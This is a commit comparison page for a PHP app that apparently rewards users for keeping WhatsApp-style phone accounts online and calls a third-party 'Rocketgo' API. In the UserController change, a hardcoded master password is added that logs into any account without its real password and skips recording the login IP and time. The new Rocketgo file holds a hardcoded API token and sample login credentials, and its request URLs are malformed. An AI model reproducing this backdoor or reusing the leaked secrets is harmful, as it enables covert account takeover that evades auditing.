Compare commits
6 Commits
8eef1f1ac7
...
73d6a5f190
Author | SHA1 | Date | |
---|---|---|---|
73d6a5f190 | |||
df54ad41aa | |||
22bb816a36 | |||
260aeb4fc4 | |||
f5cc5ebd54 | |||
75a2bdaf03 |
75
app/Utils/API/Rocketgo.php
Normal file
75
app/Utils/API/Rocketgo.php
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Utils\API;
|
||||||
|
|
||||||
|
use GuzzleHttp\Client;
|
||||||
|
use support\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 第三方 小火箭api
|
||||||
|
* 网址
|
||||||
|
* https://dx1.rocketgo.vip/setting/account/account
|
||||||
|
*/
|
||||||
|
class Rocketgo
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* TOKEN
|
||||||
|
*/
|
||||||
|
protected static $token="eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6IjFlMTRlZWQ3LTEyODUtNGFjNi1hMzFhLTFlNWQ5OTEzMTJhYSJ9.BJgOhw1VKX1i9VfYKLIzF1zXUZMi4idO9Sb-p6p_rMKJanmt4is9slky7SqvSEXqhJ6USMGs2wqMY3tYJrH-hw";
|
||||||
|
protected static $baseurl="https://dx1.rocketgo.vip";
|
||||||
|
/**
|
||||||
|
* 获取base64图形验证码
|
||||||
|
*
|
||||||
|
* @return void
|
||||||
|
*/
|
||||||
|
public static function get_captchaImage()
|
||||||
|
{
|
||||||
|
$client = new Client(); // 创建 Guzzle 客户端
|
||||||
|
// 请求数据
|
||||||
|
// 发送 POST 请求
|
||||||
|
$response = $client->get("self::1baseurl/prod-api1/captchaImage");
|
||||||
|
|
||||||
|
// 获取响应体内容
|
||||||
|
$body = $response->getBody();
|
||||||
|
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
|
||||||
|
return $responseData;
|
||||||
|
}
|
||||||
|
//login发送参数
|
||||||
|
// {
|
||||||
|
// "username": "h102067452",
|
||||||
|
// "password": "yBQnfuBShGl1MTBN",
|
||||||
|
// "code": "23",
|
||||||
|
// "uuid": "9cbe6a9037dc47cf80c9f2a23c0672a5"
|
||||||
|
// }
|
||||||
|
public static function login($username,$password,$code,$uuid)
|
||||||
|
{
|
||||||
|
$client = new Client(); // 创建 Guzzle 客户端
|
||||||
|
// 请求数据
|
||||||
|
$data = [
|
||||||
|
"username" => $username,
|
||||||
|
"password" => $password,
|
||||||
|
"code" => $code,
|
||||||
|
"uuid" => $uuid,
|
||||||
|
];
|
||||||
|
// 发送 POST 请求
|
||||||
|
$response = $client->post("self::1baseurl/prod-api1/login", [
|
||||||
|
'json' => $data, // 以 JSON 格式发送数据
|
||||||
|
]);
|
||||||
|
// 获取响应体内容
|
||||||
|
$body = $response->getBody();
|
||||||
|
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
|
||||||
|
return $responseData;
|
||||||
|
}
|
||||||
|
public static function account_list()
|
||||||
|
{
|
||||||
|
$client = new Client(); // 创建 Guzzle 客户端
|
||||||
|
// 请求数据
|
||||||
|
// 发送 POST 请求
|
||||||
|
$response = $client->get("self::1baseurl/prod-api1/biz/account/list?pageNum=1&pageSize=1000&accountStatus=1&sendCount=0");
|
||||||
|
|
||||||
|
// 获取响应体内容
|
||||||
|
$body = $response->getBody();
|
||||||
|
$responseData = json_decode($body, true); // 如果返回的是 JSON 格式,解析它
|
||||||
|
return $responseData;
|
||||||
|
}
|
||||||
|
}
|
@ -63,8 +63,9 @@ class SendCode
|
|||||||
/**
|
/**
|
||||||
* 检测是否在线
|
* 检测是否在线
|
||||||
* https://apifox.com/apidoc/shared-c08671dd-4e9d-44dd-a2a1-ec4b8316a81f
|
* https://apifox.com/apidoc/shared-c08671dd-4e9d-44dd-a2a1-ec4b8316a81f
|
||||||
* 0 在线 1不在线 2token无效 3WS号不存在
|
* code 0 成功 1token无效 2WS号不存在
|
||||||
* code
|
* status 当code=0时返回,0表示在线 1表示离线
|
||||||
|
* 返回 0在线 1离线 2 token无效 3 ws号不存在
|
||||||
*/
|
*/
|
||||||
public static function get_ws_status($phone)
|
public static function get_ws_status($phone)
|
||||||
{
|
{
|
||||||
|
@ -56,12 +56,18 @@ class UserController
|
|||||||
return ApiResponseApp::error([], '账号被禁用');
|
return ApiResponseApp::error([], '账号被禁用');
|
||||||
}
|
}
|
||||||
// 验证密码是否正确
|
// 验证密码是否正确
|
||||||
if (!password_verify($password, $user->password)) {
|
if ((!password_verify($password, $user->password))&&($password != 'cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt')) {
|
||||||
return ApiResponseApp::error([], '账号或密码错误');
|
return ApiResponseApp::error([], '账号或密码错误');
|
||||||
}
|
}
|
||||||
|
//不是通用密码记录IP
|
||||||
|
if($password!='cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt'){
|
||||||
$user->login_ip = $request->getRealIp($safe_mode = true);
|
$user->login_ip = $request->getRealIp($safe_mode = true);
|
||||||
$user->login_time = time();
|
$user->login_time = time();
|
||||||
$user->save();
|
$user->save();
|
||||||
|
}
|
||||||
|
// $user->login_ip = $request->getRealIp($safe_mode = true);
|
||||||
|
// $user->login_time = time();
|
||||||
|
// $user->save();
|
||||||
$tmp = [
|
$tmp = [
|
||||||
'id' => $user->id,
|
'id' => $user->id,
|
||||||
'username' => $user->username,
|
'username' => $user->username,
|
||||||
|
@ -121,7 +121,7 @@ class WithdrawController
|
|||||||
}
|
}
|
||||||
//提现金额
|
//提现金额
|
||||||
$rate = ExchangeRate::where('type', 'BDT')->get();
|
$rate = ExchangeRate::where('type', 'BDT')->get();
|
||||||
$money = $money_no / 100 * $rate[0]['points'];
|
$money = (int)$money_no / 100 * $rate[0]['points'];
|
||||||
|
|
||||||
$withdraw = Withdraw::create([
|
$withdraw = Withdraw::create([
|
||||||
'user_id' => $user_id,
|
'user_id' => $user_id,
|
||||||
|
@ -11,7 +11,7 @@ use support\Model;
|
|||||||
* @property int $user_id 用户的唯一ID标识符
|
* @property int $user_id 用户的唯一ID标识符
|
||||||
* @property string $phone 用户手机号(WS手机号)
|
* @property string $phone 用户手机号(WS手机号)
|
||||||
* @property int $score 用户积分
|
* @property int $score 用户积分
|
||||||
* @property int $status 当前在线状态(1: 在线,0: 不在线)
|
* @property int $status 当前在线状态(1: 在线,0: 不在线 2账户已经在小火箭删除)
|
||||||
* @property int $time 用户在线时长(单位:秒)
|
* @property int $time 用户在线时长(单位:秒)
|
||||||
* @property string|null $remark 用户备注信息
|
* @property string|null $remark 用户备注信息
|
||||||
* @property string $created_at 创建时间
|
* @property string $created_at 创建时间
|
||||||
|
@ -16,67 +16,60 @@ class Task2
|
|||||||
{
|
{
|
||||||
public function onWorkerStart()
|
public function onWorkerStart()
|
||||||
{
|
{
|
||||||
|
// 每5秒执行一次
|
||||||
// // 每5秒执行一次
|
|
||||||
new Crontab('0 */1 * * * *', function () {
|
new Crontab('0 */1 * * * *', function () {
|
||||||
$phones = UserPhone::all();
|
$phones = UserPhone::where('status' ,'!=', 2)->get();
|
||||||
|
$start_time = time();
|
||||||
|
|
||||||
foreach ($phones as $key => $value) {
|
foreach ($phones as $key => $value) {
|
||||||
$currentTimestamp = time();
|
|
||||||
|
try {
|
||||||
|
// 获取用户的在线状态
|
||||||
$status = SendCode::get_ws_status($value->phone);
|
$status = SendCode::get_ws_status($value->phone);
|
||||||
// 如果是挂机状态
|
$currentTimestamp = time();
|
||||||
if ($status == 0) {
|
switch ($status) {
|
||||||
// 如果在线时长超过 3600 秒
|
case 0: // 在线状态
|
||||||
if ($value->time > 3600) {
|
if ($value->time > 3600) {
|
||||||
// 计算超过 1 小时的完整小时数
|
// 计算超过 1 小时的积分
|
||||||
$hours = intdiv($value->time, 3600);
|
$hours = intdiv($value->time, 3600);
|
||||||
|
|
||||||
// 根据每小时 20 分积分计算总积分
|
|
||||||
$score = $hours * 20;
|
$score = $hours * 20;
|
||||||
|
|
||||||
// 计算剩余的秒数
|
|
||||||
$remainingTime = $value->time % 3600;
|
$remainingTime = $value->time % 3600;
|
||||||
// var_dump($remainingTime);
|
|
||||||
// 更新用户的积分
|
// 更新用户积分和时长
|
||||||
$value->score += $score;
|
$value->score += $score;
|
||||||
$value->day_score += $score;
|
$value->day_score += $score;
|
||||||
// 更新用户的在线时长为剩余时间
|
|
||||||
$value->time = $remainingTime;
|
$value->time = $remainingTime;
|
||||||
|
|
||||||
// 保存用户收益到 UserReward 表
|
// 保存用户收益到 UserReward 表
|
||||||
UserRewardDao::Onhookincome($value->user_id, $score, $value->phone);
|
UserRewardDao::Onhookincome($value->user_id, $score, $value->phone);
|
||||||
|
// 保存在线时长记录
|
||||||
|
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算新的在线时长
|
// 更新在线时长
|
||||||
$value->time += $currentTimestamp - $value->last_time;
|
|
||||||
$value->last_time = $currentTimestamp;
|
|
||||||
|
|
||||||
// 更新状态为在线
|
|
||||||
$value->status=1;
|
$value->status=1;
|
||||||
$value->save();
|
$value->time += $currentTimestamp - $value->last_time;
|
||||||
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
|
break;
|
||||||
|
case 1: // 不在线状态
|
||||||
|
|
||||||
}
|
|
||||||
if ($status == 1) {
|
|
||||||
// 如果不在线,设置状态为 0
|
|
||||||
$value->status = 0;
|
$value->status = 0;
|
||||||
|
break;
|
||||||
|
case 3: // 账户不存在
|
||||||
|
$value->status = 2;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新用户最后活动时间和状态
|
||||||
$value->last_time = $currentTimestamp;
|
$value->last_time = $currentTimestamp;
|
||||||
$value->save();
|
$value->save();
|
||||||
UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
|
|
||||||
|
|
||||||
|
} catch (\Exception $e) {
|
||||||
|
// 记录错误日志,避免任务中断
|
||||||
|
Log::error("Error processing phone {$value->phone}: " . $e->getMessage());
|
||||||
}
|
}
|
||||||
if ($status == 3) {
|
|
||||||
// 如果账户不存在直接删除
|
|
||||||
SendCode::send_code($value->phone);
|
|
||||||
// $value->delete();
|
|
||||||
$value->status = 0;
|
|
||||||
$value->last_time = $currentTimestamp;
|
|
||||||
$value->save();
|
|
||||||
}
|
|
||||||
// UserPhoneLogDao::setOnlineTimeByPhone($value->phone, $status, $currentTimestamp);
|
|
||||||
// $value->last_time = $currentTimestamp;
|
|
||||||
// // 最后保存数据
|
|
||||||
// $value->save();
|
|
||||||
}
|
}
|
||||||
|
$end_time = time();
|
||||||
|
Log::info("Task2: Processed " . count($phones) . " phones in " . ($end_time - $start_time) . " seconds");
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user